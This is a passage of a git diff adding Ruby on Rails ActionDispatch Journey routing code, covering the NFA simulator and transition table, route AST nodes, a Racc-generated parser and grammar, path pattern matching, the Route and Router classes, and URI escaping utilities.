+          #memo_nodes = memos.values.flatten.map { |n|
+          #  label = n
+          #  if Journey::Route === n
+          #    label = "#{n.verb.source} #{n.path.spec}"
+          #  end
+          #  "  #{n.object_id} [label=\"#{label}\", shape=box];"
+          #}
+          #memo_edges = memos.flat_map { |k, memos|
+          #  (memos || []).map { |v| "  #{k} -> #{v.object_id};" }
+          #}.uniq
+
+          <<-eodot
+digraph nfa {
+  rankdir=LR;
+  node [shape = doublecircle];
+  #{accepting_states.join ' '};
+  node [shape = circle];
+#{edges.join "\n"}
+}
+          eodot
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/journey/nfa/simulator.rb b/actionpack/lib/action_dispatch/journey/nfa/simulator.rb
new file mode 100644
index 0000000000..8efe48d91c
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/nfa/simulator.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+require "strscan"
+
+module ActionDispatch
+  module Journey # :nodoc:
+    module NFA # :nodoc:
+      class MatchData # :nodoc:
+        attr_reader :memos
+
+        def initialize(memos)
+          @memos = memos
+        end
+      end
+
+      class Simulator # :nodoc:
+        attr_reader :tt
+
+        def initialize(transition_table)
+          @tt = transition_table
+        end
+
+        def simulate(string)
+          input = StringScanner.new(string)
+          state = tt.eclosure(0)
+          until input.eos?
+            sym   = input.scan(%r([/.?]|[^/.?]+))
+
+            # FIXME: tt.eclosure is not needed for the GTG
+            state = tt.eclosure(tt.move(state, sym))
+          end
+
+          acceptance_states = state.find_all { |s|
+            tt.accepting?(tt.eclosure(s).sort.last)
+          }
+
+          return if acceptance_states.empty?
+
+          memos = acceptance_states.flat_map { |x| tt.memo(x) }.compact
+
+          MatchData.new(memos)
+        end
+
+        alias :=~    :simulate
+        alias :match :simulate
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/journey/nfa/transition_table.rb b/actionpack/lib/action_dispatch/journey/nfa/transition_table.rb
new file mode 100644
index 0000000000..bfd929357b
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/nfa/transition_table.rb
@@ -0,0 +1,120 @@
+# frozen_string_literal: true
+
+require_relative "dot"
+
+module ActionDispatch
+  module Journey # :nodoc:
+    module NFA # :nodoc:
+      class TransitionTable # :nodoc:
+        include Journey::NFA::Dot
+
+        attr_accessor :accepting
+        attr_reader :memos
+
+        def initialize
+          @table     = Hash.new { |h, f| h[f] = {} }
+          @memos     = {}
+          @accepting = nil
+          @inverted  = nil
+        end
+
+        def accepting?(state)
+          accepting == state
+        end
+
+        def accepting_states
+          [accepting]
+        end
+
+        def add_memo(idx, memo)
+          @memos[idx] = memo
+        end
+
+        def memo(idx)
+          @memos[idx]
+        end
+
+        def []=(i, f, s)
+          @table[f][i] = s
+        end
+
+        def merge(left, right)
+          @memos[right] = @memos.delete(left)
+          @table[right] = @table.delete(left)
+        end
+
+        def states
+          (@table.keys + @table.values.flat_map(&:keys)).uniq
+        end
+
+        # Returns set of NFA states to which there is a transition on ast symbol
+        # +a+ from some state +s+ in +t+.
+        def following_states(t, a)
+          Array(t).flat_map { |s| inverted[s][a] }.uniq
+        end
+
+        # Returns set of NFA states to which there is a transition on ast symbol
+        # +a+ from some state +s+ in +t+.
+        def move(t, a)
+          Array(t).map { |s|
+            inverted[s].keys.compact.find_all { |sym|
+              sym === a
+            }.map { |sym| inverted[s][sym] }
+          }.flatten.uniq
+        end
+
+        def alphabet
+          inverted.values.flat_map(&:keys).compact.uniq.sort_by(&:to_s)
+        end
+
+        # Returns a set of NFA states reachable from some NFA state +s+ in set
+        # +t+ on nil-transitions alone.
+        def eclosure(t)
+          stack = Array(t)
+          seen  = {}
+          children = []
+
+          until stack.empty?
+            s = stack.pop
+            next if seen[s]
+
+            seen[s] = true
+            children << s
+
+            stack.concat(inverted[s][nil])
+          end
+
+          children.uniq
+        end
+
+        def transitions
+          @table.flat_map { |to, hash|
+            hash.map { |from, sym| [from, sym, to] }
+          }
+        end
+
+        private
+
+          def inverted
+            return @inverted if @inverted
+
+            @inverted = Hash.new { |h, from|
+              h[from] = Hash.new { |j, s| j[s] = [] }
+            }
+
+            @table.each { |to, hash|
+              hash.each { |from, sym|
+                if sym
+                  sym = Nodes::Symbol === sym ? sym.regexp : sym.left
+                end
+
+                @inverted[from][sym] << to
+              }
+            }
+
+            @inverted
+          end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/journey/nodes/node.rb b/actionpack/lib/action_dispatch/journey/nodes/node.rb
new file mode 100644
index 0000000000..0a84f28c1a
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/nodes/node.rb
@@ -0,0 +1,140 @@
+# frozen_string_literal: true
+
+require_relative "../visitors"
+
+module ActionDispatch
+  module Journey # :nodoc:
+    module Nodes # :nodoc:
+      class Node # :nodoc:
+        include Enumerable
+
+        attr_accessor :left, :memo
+
+        def initialize(left)
+          @left = left
+          @memo = nil
+        end
+
+        def each(&block)
+          Visitors::Each::INSTANCE.accept(self, block)
+        end
+
+        def to_s
+          Visitors::String::INSTANCE.accept(self, "")
+        end
+
+        def to_dot
+          Visitors::Dot::INSTANCE.accept(self)
+        end
+
+        def to_sym
+          name.to_sym
+        end
+
+        def name
+          left.tr "*:".freeze, "".freeze
+        end
+
+        def type
+          raise NotImplementedError
+        end
+
+        def symbol?; false; end
+        def literal?; false; end
+        def terminal?; false; end
+        def star?; false; end
+        def cat?; false; end
+        def group?; false; end
+      end
+
+      class Terminal < Node # :nodoc:
+        alias :symbol :left
+        def terminal?; true; end
+      end
+
+      class Literal < Terminal # :nodoc:
+        def literal?; true; end
+        def type; :LITERAL; end
+      end
+
+      class Dummy < Literal # :nodoc:
+        def initialize(x = Object.new)
+          super
+        end
+
+        def literal?; false; end
+      end
+
+      %w{ Symbol Slash Dot }.each do |t|
+        class_eval <<-eoruby, __FILE__, __LINE__ + 1
+          class #{t} < Terminal;
+            def type; :#{t.upcase}; end
+          end
+        eoruby
+      end
+
+      class Symbol < Terminal # :nodoc:
+        attr_accessor :regexp
+        alias :symbol :regexp
+        attr_reader :name
+
+        DEFAULT_EXP = /[^\.\/\?]+/
+        def initialize(left)
+          super
+          @regexp = DEFAULT_EXP
+          @name = left.tr "*:".freeze, "".freeze
+        end
+
+        def default_regexp?
+          regexp == DEFAULT_EXP
+        end
+
+        def symbol?; true; end
+      end
+
+      class Unary < Node # :nodoc:
+        def children; [left] end
+      end
+
+      class Group < Unary # :nodoc:
+        def type; :GROUP; end
+        def group?; true; end
+      end
+
+      class Star < Unary # :nodoc:
+        def star?; true; end
+        def type; :STAR; end
+
+        def name
+          left.name.tr "*:", ""
+        end
+      end
+
+      class Binary < Node # :nodoc:
+        attr_accessor :right
+
+        def initialize(left, right)
+          super(left)
+          @right = right
+        end
+
+        def children; [left, right] end
+      end
+
+      class Cat < Binary # :nodoc:
+        def cat?; true; end
+        def type; :CAT; end
+      end
+
+      class Or < Node # :nodoc:
+        attr_reader :children
+
+        def initialize(children)
+          @children = children
+        end
+
+        def type; :OR; end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/journey/parser.rb b/actionpack/lib/action_dispatch/journey/parser.rb
new file mode 100644
index 0000000000..6ddfe96098
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/parser.rb
@@ -0,0 +1,199 @@
+#
+# DO NOT MODIFY!!!!
+# This file is automatically generated by Racc 1.4.14
+# from Racc grammar file "".
+#
+
+require 'racc/parser.rb'
+
+# :stopdoc:
+
+require_relative "parser_extras"
+module ActionDispatch
+  module Journey
+    class Parser < Racc::Parser
+##### State transition tables begin ###
+
+racc_action_table = [
+    13,    15,    14,     7,    19,    16,     8,    19,    13,    15,
+    14,     7,    17,    16,     8,    13,    15,    14,     7,    21,
+    16,     8,    13,    15,    14,     7,    24,    16,     8 ]
+
+racc_action_check = [
+     2,     2,     2,     2,    22,     2,     2,     2,    19,    19,
+    19,    19,     1,    19,    19,     7,     7,     7,     7,    17,
+     7,     7,     0,     0,     0,     0,    20,     0,     0 ]
+
+racc_action_pointer = [
+    20,    12,    -2,   nil,   nil,   nil,   nil,    13,   nil,   nil,
+   nil,   nil,   nil,   nil,   nil,   nil,   nil,    19,   nil,     6,
+    20,   nil,    -5,   nil,   nil ]
+
+racc_action_default = [
+   -19,   -19,    -2,    -3,    -4,    -5,    -6,   -19,   -10,   -11,
+   -12,   -13,   -14,   -15,   -16,   -17,   -18,   -19,    -1,   -19,
+   -19,    25,    -8,    -9,    -7 ]
+
+racc_goto_table = [
+     1,    22,    18,    23,   nil,   nil,   nil,    20 ]
+
+racc_goto_check = [
+     1,     2,     1,     3,   nil,   nil,   nil,     1 ]
+
+racc_goto_pointer = [
+   nil,     0,   -18,   -16,   nil,   nil,   nil,   nil,   nil,   nil,
+   nil ]
+
+racc_goto_default = [
+   nil,   nil,     2,     3,     4,     5,     6,     9,    10,    11,
+    12 ]
+
+racc_reduce_table = [
+  0, 0, :racc_error,
+  2, 11, :_reduce_1,
+  1, 11, :_reduce_2,
+  1, 11, :_reduce_none,
+  1, 12, :_reduce_none,
+  1, 12, :_reduce_none,
+  1, 12, :_reduce_none,
+  3, 15, :_reduce_7,
+  3, 13, :_reduce_8,
+  3, 13, :_reduce_9,
+  1, 16, :_reduce_10,
+  1, 14, :_reduce_none,
+  1, 14, :_reduce_none,
+  1, 14, :_reduce_none,
+  1, 14, :_reduce_none,
+  1, 19, :_reduce_15,
+  1, 17, :_reduce_16,
+  1, 18, :_reduce_17,
+  1, 20, :_reduce_18 ]
+
+racc_reduce_n = 19
+
+racc_shift_n = 25
+
+racc_token_table = {
+  false => 0,
+  :error => 1,
+  :SLASH => 2,
+  :LITERAL => 3,
+  :SYMBOL => 4,
+  :LPAREN => 5,
+  :RPAREN => 6,
+  :DOT => 7,
+  :STAR => 8,
+  :OR => 9 }
+
+racc_nt_base = 10
+
+racc_use_result_var = false
+
+Racc_arg = [
+  racc_action_table,
+  racc_action_check,
+  racc_action_default,
+  racc_action_pointer,
+  racc_goto_table,
+  racc_goto_check,
+  racc_goto_default,
+  racc_goto_pointer,
+  racc_nt_base,
+  racc_reduce_table,
+  racc_token_table,
+  racc_shift_n,
+  racc_reduce_n,
+  racc_use_result_var ]
+
+Racc_token_to_s_table = [
+  "$end",
+  "error",
+  "SLASH",
+  "LITERAL",
+  "SYMBOL",
+  "LPAREN",
+  "RPAREN",
+  "DOT",
+  "STAR",
+  "OR",
+  "$start",
+  "expressions",
+  "expression",
+  "or",
+  "terminal",
+  "group",
+  "star",
+  "symbol",
+  "literal",
+  "slash",
+  "dot" ]
+
+Racc_debug_parser = false
+
+##### State transition tables end #####
+
+# reduce 0 omitted
+
+def _reduce_1(val, _values)
+ Cat.new(val.first, val.last) 
+end
+
+def _reduce_2(val, _values)
+ val.first 
+end
+
+# reduce 3 omitted
+
+# reduce 4 omitted
+
+# reduce 5 omitted
+
+# reduce 6 omitted
+
+def _reduce_7(val, _values)
+ Group.new(val[1]) 
+end
+
+def _reduce_8(val, _values)
+ Or.new([val.first, val.last]) 
+end
+
+def _reduce_9(val, _values)
+ Or.new([val.first, val.last]) 
+end
+
+def _reduce_10(val, _values)
+ Star.new(Symbol.new(val.last)) 
+end
+
+# reduce 11 omitted
+
+# reduce 12 omitted
+
+# reduce 13 omitted
+
+# reduce 14 omitted
+
+def _reduce_15(val, _values)
+ Slash.new(val.first) 
+end
+
+def _reduce_16(val, _values)
+ Symbol.new(val.first) 
+end
+
+def _reduce_17(val, _values)
+ Literal.new(val.first) 
+end
+
+def _reduce_18(val, _values)
+ Dot.new(val.first) 
+end
+
+def _reduce_none(val, _values)
+  val[0]
+end
+
+    end   # class Parser
+    end   # module Journey
+  end   # module ActionDispatch
diff --git a/actionpack/lib/action_dispatch/journey/parser.y b/actionpack/lib/action_dispatch/journey/parser.y
new file mode 100644
index 0000000000..850c84ea1a
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/parser.y
@@ -0,0 +1,50 @@
+class ActionDispatch::Journey::Parser
+  options no_result_var
+token SLASH LITERAL SYMBOL LPAREN RPAREN DOT STAR OR
+
+rule
+  expressions
+    : expression expressions  { Cat.new(val.first, val.last) }
+    | expression              { val.first }
+    | or
+    ;
+  expression
+    : terminal
+    | group
+    | star
+    ;
+  group
+    : LPAREN expressions RPAREN { Group.new(val[1]) }
+    ;
+  or
+    : expression OR expression { Or.new([val.first, val.last]) }
+    | expression OR or { Or.new([val.first, val.last]) }
+    ;
+  star
+    : STAR       { Star.new(Symbol.new(val.last)) }
+    ;
+  terminal
+    : symbol
+    | literal
+    | slash
+    | dot
+    ;
+  slash
+    : SLASH              { Slash.new(val.first) }
+    ;
+  symbol
+    : SYMBOL             { Symbol.new(val.first) }
+    ;
+  literal
+    : LITERAL            { Literal.new(val.first) }
+    ;
+  dot
+    : DOT                { Dot.new(val.first) }
+    ;
+
+end
+
+---- header
+# :stopdoc:
+
+require_relative "parser_extras"
diff --git a/actionpack/lib/action_dispatch/journey/parser_extras.rb b/actionpack/lib/action_dispatch/journey/parser_extras.rb
new file mode 100644
index 0000000000..dfbc6c4529
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/parser_extras.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+require_relative "scanner"
+require_relative "nodes/node"
+
+module ActionDispatch
+  # :stopdoc:
+  module Journey
+    class Parser < Racc::Parser
+      include Journey::Nodes
+
+      def self.parse(string)
+        new.parse string
+      end
+
+      def initialize
+        @scanner = Scanner.new
+      end
+
+      def parse(string)
+        @scanner.scan_setup(string)
+        do_parse
+      end
+
+      def next_token
+        @scanner.next_token
+      end
+    end
+  end
+  # :startdoc:
+end
diff --git a/actionpack/lib/action_dispatch/journey/path/pattern.rb b/actionpack/lib/action_dispatch/journey/path/pattern.rb
new file mode 100644
index 0000000000..2d85a89a56
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/path/pattern.rb
@@ -0,0 +1,198 @@
+# frozen_string_literal: true
+
+module ActionDispatch
+  module Journey # :nodoc:
+    module Path # :nodoc:
+      class Pattern # :nodoc:
+        attr_reader :spec, :requirements, :anchored
+
+        def self.from_string(string)
+          build(string, {}, "/.?", true)
+        end
+
+        def self.build(path, requirements, separators, anchored)
+          parser = Journey::Parser.new
+          ast = parser.parse path
+          new ast, requirements, separators, anchored
+        end
+
+        def initialize(ast, requirements, separators, anchored)
+          @spec         = ast
+          @requirements = requirements
+          @separators   = separators
+          @anchored     = anchored
+
+          @names          = nil
+          @optional_names = nil
+          @required_names = nil
+          @re             = nil
+          @offsets        = nil
+        end
+
+        def build_formatter
+          Visitors::FormatBuilder.new.accept(spec)
+        end
+
+        def eager_load!
+          required_names
+          offsets
+          to_regexp
+          nil
+        end
+
+        def ast
+          @spec.find_all(&:symbol?).each do |node|
+            re = @requirements[node.to_sym]
+            node.regexp = re if re
+          end
+
+          @spec.find_all(&:star?).each do |node|
+            node = node.left
+            node.regexp = @requirements[node.to_sym] || /(.+)/
+          end
+
+          @spec
+        end
+
+        def names
+          @names ||= spec.find_all(&:symbol?).map(&:name)
+        end
+
+        def required_names
+          @required_names ||= names - optional_names
+        end
+
+        def optional_names
+          @optional_names ||= spec.find_all(&:group?).flat_map { |group|
+            group.find_all(&:symbol?)
+          }.map(&:name).uniq
+        end
+
+        class AnchoredRegexp < Journey::Visitors::Visitor # :nodoc:
+          def initialize(separator, matchers)
+            @separator = separator
+            @matchers  = matchers
+            @separator_re = "([^#{separator}]+)"
+            super()
+          end
+
+          def accept(node)
+            %r{\A#{visit node}\Z}
+          end
+
+          def visit_CAT(node)
+            [visit(node.left), visit(node.right)].join
+          end
+
+          def visit_SYMBOL(node)
+            node = node.to_sym
+
+            return @separator_re unless @matchers.key?(node)
+
+            re = @matchers[node]
+            "(#{re})"
+          end
+
+          def visit_GROUP(node)
+            "(?:#{visit node.left})?"
+          end
+
+          def visit_LITERAL(node)
+            Regexp.escape(node.left)
+          end
+          alias :visit_DOT :visit_LITERAL
+
+          def visit_SLASH(node)
+            node.left
+          end
+
+          def visit_STAR(node)
+            re = @matchers[node.left.to_sym] || ".+"
+            "(#{re})"
+          end
+
+          def visit_OR(node)
+            children = node.children.map { |n| visit n }
+            "(?:#{children.join(?|)})"
+          end
+        end
+
+        class UnanchoredRegexp < AnchoredRegexp # :nodoc:
+          def accept(node)
+            %r{\A#{visit node}}
+          end
+        end
+
+        class MatchData # :nodoc:
+          attr_reader :names
+
+          def initialize(names, offsets, match)
+            @names   = names
+            @offsets = offsets
+            @match   = match
+          end
+
+          def captures
+            Array.new(length - 1) { |i| self[i + 1] }
+          end
+
+          def [](x)
+            idx = @offsets[x - 1] + x
+            @match[idx]
+          end
+
+          def length
+            @offsets.length
+          end
+
+          def post_match
+            @match.post_match
+          end
+
+          def to_s
+            @match.to_s
+          end
+        end
+
+        def match(other)
+          return unless match = to_regexp.match(other)
+          MatchData.new(names, offsets, match)
+        end
+        alias :=~ :match
+
+        def source
+          to_regexp.source
+        end
+
+        def to_regexp
+          @re ||= regexp_visitor.new(@separators, @requirements).accept spec
+        end
+
+        private
+
+          def regexp_visitor
+            @anchored ? AnchoredRegexp : UnanchoredRegexp
+          end
+
+          def offsets
+            return @offsets if @offsets
+
+            @offsets = [0]
+
+            spec.find_all(&:symbol?).each do |node|
+              node = node.to_sym
+
+              if @requirements.key?(node)
+                re = /#{@requirements[node]}|/
+                @offsets.push((re.match("").length - 1) + @offsets.last)
+              else
+                @offsets << @offsets.last
+              end
+            end
+
+            @offsets
+          end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/journey/route.rb b/actionpack/lib/action_dispatch/journey/route.rb
new file mode 100644
index 0000000000..8165709a3d
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/route.rb
@@ -0,0 +1,203 @@
+# frozen_string_literal: true
+
+module ActionDispatch
+  # :stopdoc:
+  module Journey
+    class Route
+      attr_reader :app, :path, :defaults, :name, :precedence
+
+      attr_reader :constraints, :internal
+      alias :conditions :constraints
+
+      module VerbMatchers
+        VERBS = %w{ DELETE GET HEAD OPTIONS LINK PATCH POST PUT TRACE UNLINK }
+        VERBS.each do |v|
+          class_eval <<-eoc, __FILE__, __LINE__ + 1
+            class #{v}
+              def self.verb; name.split("::").last; end
+              def self.call(req); req.#{v.downcase}?; end
+            end
+          eoc
+        end
+
+        class Unknown
+          attr_reader :verb
+
+          def initialize(verb)
+            @verb = verb
+          end
+
+          def call(request); @verb === request.request_method; end
+        end
+
+        class All
+          def self.call(_); true; end
+          def self.verb; ""; end
+        end
+
+        VERB_TO_CLASS = VERBS.each_with_object(all: All) do |verb, hash|
+          klass = const_get verb
+          hash[verb]                 = klass
+          hash[verb.downcase]        = klass
+          hash[verb.downcase.to_sym] = klass
+        end
+      end
+
+      def self.verb_matcher(verb)
+        VerbMatchers::VERB_TO_CLASS.fetch(verb) do
+          VerbMatchers::Unknown.new verb.to_s.dasherize.upcase
+        end
+      end
+
+      def self.build(name, app, path, constraints, required_defaults, defaults)
+        request_method_match = verb_matcher(constraints.delete(:request_method))
+        new name, app, path, constraints, required_defaults, defaults, request_method_match, 0
+      end
+
+      ##
+      # +path+ is a path constraint.
+      # +constraints+ is a hash of constraints to be applied to this route.
+      def initialize(name, app, path, constraints, required_defaults, defaults, request_method_match, precedence, internal = false)
+        @name        = name
+        @app         = app
+        @path        = path
+
+        @request_method_match = request_method_match
+        @constraints = constraints
+        @defaults    = defaults
+        @required_defaults = nil
+        @_required_defaults = required_defaults
+        @required_parts    = nil
+        @parts             = nil
+        @decorated_ast     = nil
+        @precedence        = precedence
+        @path_formatter    = @path.build_formatter
+        @internal          = internal
+      end
+
+      def eager_load!
+        path.eager_load!
+        ast
+        parts
+        required_defaults
+        nil
+      end
+
+      def ast
+        @decorated_ast ||= begin
+          decorated_ast = path.ast
+          decorated_ast.find_all(&:terminal?).each { |n| n.memo = self }
+          decorated_ast
+        end
+      end
+
+      # Needed for `rails routes`. Picks up succinctly defined requirements
+      # for a route, for example route
+      #
+      #   get 'photo/:id', :controller => 'photos', :action => 'show',
+      #     :id => /[A-Z]\d{5}/
+      #
+      # will have {:controller=>"photos", :action=>"show", :id=>/[A-Z]\d{5}/}
+      # as requirements.
+      def requirements
+        @defaults.merge(path.requirements).delete_if { |_, v|
+          /.+?/ == v
+        }
+      end
+
+      def segments
+        path.names
+      end
+
+      def required_keys
+        required_parts + required_defaults.keys
+      end
+
+      def score(supplied_keys)
+        required_keys = path.required_names
+
+        required_keys.each do |k|
+          return -1 unless supplied_keys.include?(k)
+        end
+
+        score = 0
+        path.names.each do |k|
+          score += 1 if supplied_keys.include?(k)
+        end
+
+        score + (required_defaults.length * 2)
+      end
+
+      def parts
+        @parts ||= segments.map(&:to_sym)
+      end
+      alias :segment_keys :parts
+
+      def format(path_options)
+        @path_formatter.evaluate path_options
+      end
+
+      def required_parts
+        @required_parts ||= path.required_names.map(&:to_sym)
+      end
+
+      def required_default?(key)
+        @_required_defaults.include?(key)
+      end
+
+      def required_defaults
+        @required_defaults ||= @defaults.dup.delete_if do |k, _|
+          parts.include?(k) || !required_default?(k)
+        end
+      end
+
+      def glob?
+        !path.spec.grep(Nodes::Star).empty?
+      end
+
+      def dispatcher?
+        @app.dispatcher?
+      end
+
+      def matches?(request)
+        match_verb(request) &&
+        constraints.all? { |method, value|
+          case value
+          when Regexp, String
+            value === request.send(method).to_s
+          when Array
+            value.include?(request.send(method))
+          when TrueClass
+            request.send(method).present?
+          when FalseClass
+            request.send(method).blank?
+          else
+            value === request.send(method)
+          end
+        }
+      end
+
+      def ip
+        constraints[:ip] || //
+      end
+
+      def requires_matching_verb?
+        !@request_method_match.all? { |x| x == VerbMatchers::All }
+      end
+
+      def verb
+        verbs.join("|")
+      end
+
+      private
+        def verbs
+          @request_method_match.map(&:verb)
+        end
+
+        def match_verb(request)
+          @request_method_match.any? { |m| m.call request }
+        end
+    end
+  end
+  # :startdoc:
+end
diff --git a/actionpack/lib/action_dispatch/journey/router.rb b/actionpack/lib/action_dispatch/journey/router.rb
new file mode 100644
index 0000000000..809bfcbe8a
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/router.rb
@@ -0,0 +1,151 @@
+# frozen_string_literal: true
+
+require_relative "router/utils"
+require_relative "routes"
+require_relative "formatter"
+
+before = $-w
+$-w = false
+require_relative "parser"
+$-w = before
+
+require_relative "route"
+require_relative "path/pattern"
+
+module ActionDispatch
+  module Journey # :nodoc:
+    class Router # :nodoc:
+      class RoutingError < ::StandardError # :nodoc:
+      end
+
+      attr_accessor :routes
+
+      def initialize(routes)
+        @routes = routes
+      end
+
+      def eager_load!
+        # Eagerly trigger the simulator's initialization so
+        # it doesn't happen during a request cycle.
+        simulator
+        nil
+      end
+
+      def serve(req)
+        find_routes(req).each do |match, parameters, route|
+          set_params  = req.path_parameters
+          path_info   = req.path_info
+          script_name = req.script_name
+
+          unless route.path.anchored
+            req.script_name = (script_name.to_s + match.to_s).chomp("/")
+            req.path_info = match.post_match
+            req.path_info = "/" + req.path_info unless req.path_info.start_with? "/"
+          end
+
+          req.path_parameters = set_params.merge parameters
+
+          status, headers, body = route.app.serve(req)
+
+          if "pass" == headers["X-Cascade"]
+            req.script_name     = script_name
+            req.path_info       = path_info
+            req.path_parameters = set_params
+            next
+          end
+
+          return [status, headers, body]
+        end
+
+        return [404, { "X-Cascade" => "pass" }, ["Not Found"]]
+      end
+
+      def recognize(rails_req)
+        find_routes(rails_req).each do |match, parameters, route|
+          unless route.path.anchored
+            rails_req.script_name = match.to_s
+            rails_req.path_info   = match.post_match.sub(/^([^\/])/, '/\1')
+          end
+
+          yield(route, parameters)
+        end
+      end
+
+      def visualizer
+        tt     = GTG::Builder.new(ast).transition_table
+        groups = partitioned_routes.first.map(&:ast).group_by(&:to_s)
+        asts   = groups.values.map(&:first)
+        tt.visualizer(asts)
+      end
+
+      private
+
+        def partitioned_routes
+          routes.partition { |r|
+            r.path.anchored && r.ast.grep(Nodes::Symbol).all? { |n| n.default_regexp?  }
+          }
+        end
+
+        def ast
+          routes.ast
+        end
+
+        def simulator
+          routes.simulator
+        end
+
+        def custom_routes
+          routes.custom_routes
+        end
+
+        def filter_routes(path)
+          return [] unless ast
+          simulator.memos(path) { [] }
+        end
+
+        def find_routes(req)
+          routes = filter_routes(req.path_info).concat custom_routes.find_all { |r|
+            r.path.match(req.path_info)
+          }
+
+          routes =
+            if req.head?
+              match_head_routes(routes, req)
+            else
+              match_routes(routes, req)
+            end
+
+          routes.sort_by!(&:precedence)
+
+          routes.map! { |r|
+            match_data = r.path.match(req.path_info)
+            path_parameters = r.defaults.dup
+            match_data.names.zip(match_data.captures) { |name, val|
+              path_parameters[name.to_sym] = Utils.unescape_uri(val) if val
+            }
+            [match_data, path_parameters, r]
+          }
+        end
+
+        def match_head_routes(routes, req)
+          verb_specific_routes = routes.select(&:requires_matching_verb?)
+          head_routes = match_routes(verb_specific_routes, req)
+
+          if head_routes.empty?
+            begin
+              req.request_method = "GET"
+              match_routes(routes, req)
+            ensure
+              req.request_method = "HEAD"
+            end
+          else
+            head_routes
+          end
+        end
+
+        def match_routes(routes, req)
+          routes.select { |r| r.matches?(req) }
+        end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/journey/router/utils.rb b/actionpack/lib/action_dispatch/journey/router/utils.rb
new file mode 100644
index 0000000000..35df7f1aae
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/router/utils.rb
@@ -0,0 +1,102 @@
+# frozen_string_literal: true
+
+module ActionDispatch
+  module Journey # :nodoc:
+    class Router # :nodoc:
+      class Utils # :nodoc:
+        # Normalizes URI path.
+        #
+        # Strips off trailing slash and ensures there is a leading slash.
+        # Also converts downcase URL encoded string to uppercase.
+        #
+        #   normalize_path("/foo")  # => "/foo"
+        #   normalize_path("/foo/") # => "/foo"
+        #   normalize_path("foo")   # => "/foo"
+        #   normalize_path("")      # => "/"
+        #   normalize_path("/%ab")  # => "/%AB"
+        def self.normalize_path(path)
+          path ||= ""
+          encoding = path.encoding
+          path = "/#{path}".dup
+          path.squeeze!("/".freeze)
+          path.sub!(%r{/+\Z}, "".freeze)
+          path.gsub!(/(%[a-f0-9]{2})/) { $1.upcase }
+          path = "/".dup if path == "".freeze
+          path.force_encoding(encoding)
+          path
+        end
+
+        # URI path and fragment escaping
+        # http://tools.ietf.org/html/rfc3986
+        class UriEncoder # :nodoc:
+          ENCODE   = "%%%02X".freeze
+          US_ASCII = Encoding::US_ASCII
+          UTF_8    = Encoding::UTF_8
+          EMPTY    = "".dup.force_encoding(US_ASCII).freeze
+          DEC2HEX  = (0..255).to_a.map { |i| ENCODE % i }.map { |s| s.force_encoding(US_ASCII) }
+
+          ALPHA = "a-zA-Z".freeze
+          DIGIT = "0-9".freeze
+          UNRESERVED = "#{ALPHA}#{DIGIT}\\-\\._~".freeze
+          SUB_DELIMS = "!\\$&'\\(\\)\\*\\+,;=".freeze
+
+          ESCAPED  = /%[a-zA-Z0-9]{2}/.freeze
+
+          FRAGMENT = /[^#{UNRESERVED}#{SUB_DELIMS}:@\/\?]/.freeze
+          SEGMENT  = /[^#{UNRESERVED}#{SUB_DELIMS}:@]/.freeze
+          PATH     = /[^#{UNRESERVED}#{SUB_DELIMS}:@\/]/.freeze
+
+          def escape_fragment(fragment)
+            escape(fragment, FRAGMENT)
+          end
+
+          def escape_path(path)
+            escape(path, PATH)
+          end
+
+          def escape_segment(segment)
+            escape(segment, SEGMENT)
+          end
+
+          def unescape_uri(uri)
+            encoding = uri.encoding == US_ASCII ? UTF_8 : uri.encoding
+            uri.gsub(ESCAPED) { |match| [match[1, 2].hex].pack("C") }.force_encoding(encoding)
+          end
+
+          private
+            def escape(component, pattern)
+              component.gsub(pattern) { |unsafe| percent_encode(unsafe) }.force_encoding(US_ASCII)
+            end
+
+            def percent_encode(unsafe)
+              safe = EMPTY.dup
+              unsafe.each_byte { |b| safe << DEC2HEX[b] }
+              safe
+            end
+        end
+
+        ENCODER = UriEncoder.new
+
+        def self.escape_path(path)
+          ENCODER.escape_path(path.to_s)
+        end
+
+        def self.escape_segment(segment)
+          ENCODER.escape_segment(segment.to_s)
+        end
+
+        def self.escape_fragment(fragment)
+          ENCODER.escape_fragment(fragment.to_s)
+        end
+
+        # Replaces any escaped sequences with their unescaped representations.
+        #
+        #   uri = "/topics?title=Ruby%20on%20Rails"
+        #   unescape_uri(uri)  #=> "/topics?title=Ruby on Rails"
+        def self.unescape_uri(uri)
+          ENCODER.unescape_uri(uri)
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/journey/routes.rb b/actionpack/lib/action_dispatch/journey/routes.rb
new file mode 100644
index 0000000000..639c063495
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/routes.rb
@@ -0,0 +1,81 @@
+# frozen_string_literal: true
+
+module ActionDispatch
+  module Journey # :nodoc:
+    # The Routing table. Contains all routes for a system. Routes can be
+    # added to the table by calling Routes#add_route.
+    class Routes # :nodoc:
+      include Enumerable
+
+      attr_reader :routes, :custom_routes, :anchored_routes
+
+      def initialize
+        @routes             = []
+        @ast                = nil
+        @anchored_routes    = []
+        @custom_routes      = []
+        @simulator          = nil
+      end
+
+      def empty?
+        routes.empty?
+      end
+
+      def length
+        routes.length
+      end
+      alias :size :length
+
+      def last
+        routes.last
+      end
+
+      def each(&block)
+        routes.each(&block)
+      end
+
+      def clear
+        routes.clear
+        anchored_routes.clear
+        custom_routes.clear
+      end
+
+      def partition_route(route)
+        if route.path.anchored && route.ast.grep(Nodes::Symbol).all?(&:default_regexp?)
+          anchored_routes << route
+        else
+          custom_routes << route
+        end
+      end
+
+      def ast
+        @ast ||= begin
